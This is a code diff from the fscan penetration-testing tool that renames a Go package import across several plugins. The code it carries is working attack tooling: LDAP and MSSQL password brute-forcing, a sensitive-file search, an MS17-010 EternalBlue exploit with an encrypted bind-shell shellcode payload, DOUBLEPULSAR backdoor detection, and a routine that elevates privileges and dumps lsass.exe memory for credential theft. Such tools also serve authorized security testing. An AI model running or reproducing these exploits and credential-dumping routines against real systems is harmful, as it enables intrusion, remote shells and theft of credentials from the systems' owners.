Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ldap"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["ldap"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentLDAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentLDAPScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveLDAPResult(info, target, result)
@ -73,18 +73,18 @@ func LDAPScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("LDAP扫描全局超时")
common.LogDebug("LDAP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// concurrentLDAPScan 并发扫描LDAP服务
func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
func concurrentLDAPScan(ctx context.Context, info *common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -130,7 +130,7 @@ func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -151,14 +151,14 @@ func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("LDAP并发扫描全局超时")
common.LogDebug("LDAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryLDAPCredential 尝试单个LDAP凭据
func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
func tryLDAPCredential(ctx context.Context, info *common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -171,7 +171,7 @@ func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LD
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -192,7 +192,7 @@ func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LD
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -207,11 +207,11 @@ func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LD
}
// LDAPConn 尝试LDAP连接
func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
func LDAPConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
address := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 使用上下文控制的拨号过程
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", address)
conn, err := common.WrapperTcpWithContext(ctx, "tcp", address)
if err != nil {
return false, err
}
@ -270,7 +270,7 @@ func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, pass stri
}
// saveLDAPResult 保存LDAP扫描结果
func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPScanResult) {
func saveLDAPResult(info *common.HostInfo, target string, result *LDAPScanResult) {
var successMsg string
var details map[string]interface{}
@ -293,15 +293,15 @@ func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPScanResult
}
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -2,7 +2,7 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"os"
"path/filepath"
"runtime"
@ -91,13 +91,13 @@ var (
)
// LocalInfoScan 本地信息收集主函数
func LocalInfoScan(info *Common.HostInfo) (err error) {
Common.LogBase("开始本地信息收集...")
func LocalInfoScan(info *common.HostInfo) (err error) {
common.LogBase("开始本地信息收集...")
// 获取用户主目录
home, err := os.UserHomeDir()
if err != nil {
Common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
return err
}
@ -107,7 +107,7 @@ func LocalInfoScan(info *Common.HostInfo) (err error) {
// 根据规则搜索敏感文件
searchSensitiveFiles()
Common.LogBase("本地信息收集完成")
common.LogBase("本地信息收集完成")
return nil
}
@ -154,7 +154,7 @@ func scanFixedLocations(home string) {
// checkAndLogFile 检查并记录敏感文件
func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil {
Common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
}
}
@ -208,7 +208,7 @@ func searchSensitiveFiles() {
for _, white := range whitelist {
fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) {
Common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
break
}
}

View File

@ -5,7 +5,7 @@ import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"io"
"io/ioutil"
"net"
@ -14,19 +14,19 @@ import (
)
// MS17010EXP 执行MS17-010漏洞利用
func MS17010EXP(info *Common.HostInfo) {
func MS17010EXP(info *common.HostInfo) {
address := info.Host + ":445"
var sc string
// 根据不同类型选择shellcode
switch Common.Shellcode {
switch common.Shellcode {
case "bind":
// msfvenom生成的Bind Shell, 监听64531端口
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
return
}
@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
return
}
@ -50,21 +50,21 @@ func MS17010EXP(info *Common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
return
}
default:
// 从文件读取或直接使用提供的shellcode
if strings.Contains(Common.Shellcode, "file:") {
read, err := ioutil.ReadFile(Common.Shellcode[5:])
if strings.Contains(common.Shellcode, "file:") {
read, err := ioutil.ReadFile(common.Shellcode[5:])
if err != nil {
Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", common.Shellcode, err))
return
}
sc = fmt.Sprintf("%x", read)
} else {
sc = Common.Shellcode
sc = common.Shellcode
}
}
@ -77,18 +77,18 @@ func MS17010EXP(info *Common.HostInfo) {
// 解码shellcode
sc1, err := hex.DecodeString(sc)
if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
return
}
// 执行EternalBlue漏洞利用
err = eternalBlue(address, 12, 12, sc1)
if err != nil {
Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
return
}
Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
}
// eternalBlue 执行EternalBlue漏洞利用
@ -189,10 +189,10 @@ func exploit(address string, grooms int, payload []byte) error {
// 提取NT状态码
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
// 发送payload
Common.LogSuccess("开始发送Payload")
common.LogSuccess("开始发送Payload")
body := makeSMB2Body(payload)
// 分段发送payload
@ -208,7 +208,7 @@ func exploit(address string, grooms int, payload []byte) error {
}
}
Common.LogSuccess("Payload发送完成")
common.LogSuccess("Payload发送完成")
return nil
}

View File

@ -4,7 +4,7 @@ import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"os"
"strings"
"time"
@ -32,88 +32,88 @@ func init() {
// 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
os.Exit(1)
}
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
os.Exit(1)
}
sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
os.Exit(1)
}
// 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
os.Exit(1)
}
treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
os.Exit(1)
}
// 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
os.Exit(1)
}
transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
os.Exit(1)
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
os.Exit(1)
}
}
// MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error {
if Common.DisableBrute {
func MS17010(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
err := MS17010Scan(info)
if err != nil {
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
}
return err
}
func MS17010Scan(info *Common.HostInfo) error {
func MS17010Scan(info *common.HostInfo) error {
ip := info.Host
// 连接目标
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("连接错误: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时错误: %v", err)
}
@ -157,7 +157,7 @@ func MS17010Scan(info *Common.HostInfo) error {
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
} else {
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
@ -212,20 +212,20 @@ func MS17010Scan(info *Common.HostInfo) error {
}
if os != "" {
details["os"] = os
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
} else {
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
}
// 保存 MS17-010 漏洞结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: ip,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
common.SaveResult(result)
// DOUBLEPULSAR 后门检测
trans2SessionSetupRequest[28] = treeID[0]
@ -245,12 +245,12 @@ func MS17010Scan(info *Common.HostInfo) error {
}
if reply[34] == 0x51 {
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
// 保存 DOUBLEPULSAR 后门结果
backdoorResult := &Common.ScanResult{
backdoorResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: ip,
Status: "backdoor",
Details: map[string]interface{}{
@ -259,20 +259,20 @@ func MS17010Scan(info *Common.HostInfo) error {
"os": os,
},
}
Common.SaveResult(backdoorResult)
common.SaveResult(backdoorResult)
}
// Shellcode 利用部分保持不变
if Common.Shellcode != "" {
if common.Shellcode != "" {
defer MS17010EXP(info)
}
} else if os != "" {
Common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
// 保存系统信息
sysResult := &Common.ScanResult{
sysResult := &common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Type: common.SERVICE,
Target: ip,
Status: "identified",
Details: map[string]interface{}{
@ -281,7 +281,7 @@ func MS17010Scan(info *Common.HostInfo) error {
"os": os,
},
}
Common.SaveResult(sysResult)
common.SaveResult(sysResult)
}
return nil

View File

@ -10,7 +10,7 @@ import (
"time"
mssql "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// MSSQLProxyDialer 自定义dialer结构体
@ -20,7 +20,7 @@ type MSSQLProxyDialer struct {
// DialContext 实现mssql.Dialer接口支持socks代理
func (d *MSSQLProxyDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
return Common.WrapperTcpWithContext(ctx, network, addr)
return common.WrapperTcpWithContext(ctx, network, addr)
}
// MssqlCredential 表示一个MSSQL凭据
@ -37,22 +37,22 @@ type MssqlScanResult struct {
}
// MssqlScan 执行MSSQL服务扫描
func MssqlScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func MssqlScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []MssqlCredential
for _, user := range Common.Userdict["mssql"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, MssqlCredential{
Username: user,
@ -61,11 +61,11 @@ func MssqlScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["mssql"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["mssql"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentMssqlScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentMssqlScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveMssqlResult(info, target, result.Credential)
@ -75,18 +75,18 @@ func MssqlScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("MSSQL扫描全局超时")
common.LogDebug("MSSQL扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentMssqlScan 并发扫描MSSQL服务
func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials []MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
func concurrentMssqlScan(ctx context.Context, info *common.HostInfo, credentials []MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -132,7 +132,7 @@ func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -153,14 +153,14 @@ func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("MSSQL并发扫描全局超时")
common.LogDebug("MSSQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryMssqlCredential 尝试单个MSSQL凭据
func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
func tryMssqlCredential(ctx context.Context, info *common.HostInfo, credential MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -173,7 +173,7 @@ func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential M
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -192,7 +192,7 @@ func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential M
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -207,9 +207,9 @@ func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential M
}
// MssqlConn 尝试MSSQL连接
func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
func MssqlConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
@ -218,7 +218,7 @@ func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass str
)
// 检查是否需要使用socks代理
if Common.Socks5Proxy != "" {
if common.Socks5Proxy != "" {
// 使用自定义dialer创建连接器
connector, err := mssql.NewConnector(connStr)
if err != nil {
@ -227,7 +227,7 @@ func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass str
// 设置自定义dialer
connector.Dialer = &MSSQLProxyDialer{
timeout: time.Duration(Common.Timeout) * time.Millisecond,
timeout: time.Duration(common.Timeout) * time.Millisecond,
}
// 使用连接器创建数据库连接
@ -310,14 +310,14 @@ func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass str
}
// saveMssqlResult 保存MSSQL扫描结果
func saveMssqlResult(info *Common.HostInfo, target string, credential MssqlCredential) {
func saveMssqlResult(info *common.HostInfo, target string, credential MssqlCredential) {
successMsg := fmt.Sprintf("MSSQL %s %v %v", target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -328,5 +328,5 @@ func saveMssqlResult(info *Common.HostInfo, target string, credential MssqlCrede
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -3,7 +3,7 @@ package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
@ -16,22 +16,22 @@ type MemcachedScanResult struct {
}
// MemcachedScan 检测Memcached未授权访问
func MemcachedScan(info *Common.HostInfo) error {
func MemcachedScan(info *common.HostInfo) error {
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 Memcached %s", realhost))
common.LogDebug(fmt.Sprintf("开始扫描 Memcached %s", realhost))
// 尝试连接并检查未授权访问
result := tryMemcachedConnection(ctx, info, Common.Timeout)
result := tryMemcachedConnection(ctx, info, common.Timeout)
if result.Success {
// 保存成功结果
scanResult := &Common.ScanResult{
scanResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -42,26 +42,26 @@ func MemcachedScan(info *Common.HostInfo) error {
"stats": result.Stats,
},
}
Common.SaveResult(scanResult)
Common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost))
common.SaveResult(scanResult)
common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost))
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
if ctx.Err() == context.DeadlineExceeded {
Common.LogDebug("Memcached扫描全局超时")
common.LogDebug("Memcached扫描全局超时")
return fmt.Errorf("全局超时")
}
default:
}
Common.LogDebug(fmt.Sprintf("Memcached扫描完成: %s", realhost))
common.LogDebug(fmt.Sprintf("Memcached扫描完成: %s", realhost))
return result.Error
}
// tryMemcachedConnection 尝试连接Memcached并检查未授权访问
func tryMemcachedConnection(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64) *MemcachedScanResult {
func tryMemcachedConnection(ctx context.Context, info *common.HostInfo, timeoutSeconds int64) *MemcachedScanResult {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
timeout := time.Duration(timeoutSeconds) * time.Second
@ -82,7 +82,7 @@ func tryMemcachedConnection(ctx context.Context, info *Common.HostInfo, timeoutS
}
// 建立TCP连接
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, timeout)
if err != nil {
result.Error = err
select {

View File

@ -4,7 +4,7 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"golang.org/x/sys/windows"
"os"
"path/filepath"
@ -276,33 +276,33 @@ func IsAdmin() bool {
return err == nil && member
}
func MiniDump(info *Common.HostInfo) (err error) {
func MiniDump(info *common.HostInfo) (err error) {
// 先检查管理员权限
if !IsAdmin() {
Common.LogError("需要管理员权限才能执行此操作")
common.LogError("需要管理员权限才能执行此操作")
return fmt.Errorf("需要管理员权限才能执行此操作")
}
pm, err := NewProcessManager()
if err != nil {
Common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
return fmt.Errorf("初始化进程管理器失败: %v", err)
}
// 查找 lsass.exe
pid, err := pm.FindProcess("lsass.exe")
if err != nil {
Common.LogError(fmt.Sprintf("查找进程失败: %v", err))
common.LogError(fmt.Sprintf("查找进程失败: %v", err))
return fmt.Errorf("查找进程失败: %v", err)
}
Common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
// 提升权限
if err := pm.ElevatePrivileges(); err != nil {
Common.LogError(fmt.Sprintf("提升权限失败: %v", err))
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
return fmt.Errorf("提升权限失败: %v", err)
}
Common.LogSuccess("成功提升进程权限")
common.LogSuccess("成功提升进程权限")
// 创建输出路径
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
@ -310,10 +310,10 @@ func MiniDump(info *Common.HostInfo) (err error) {
// 执行转储
if err := pm.DumpProcess(pid, outputPath); err != nil {
os.Remove(outputPath)
Common.LogError(fmt.Sprintf("进程转储失败: %v", err))
common.LogError(fmt.Sprintf("进程转储失败: %v", err))
return fmt.Errorf("进程转储失败: %v", err)
}
Common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
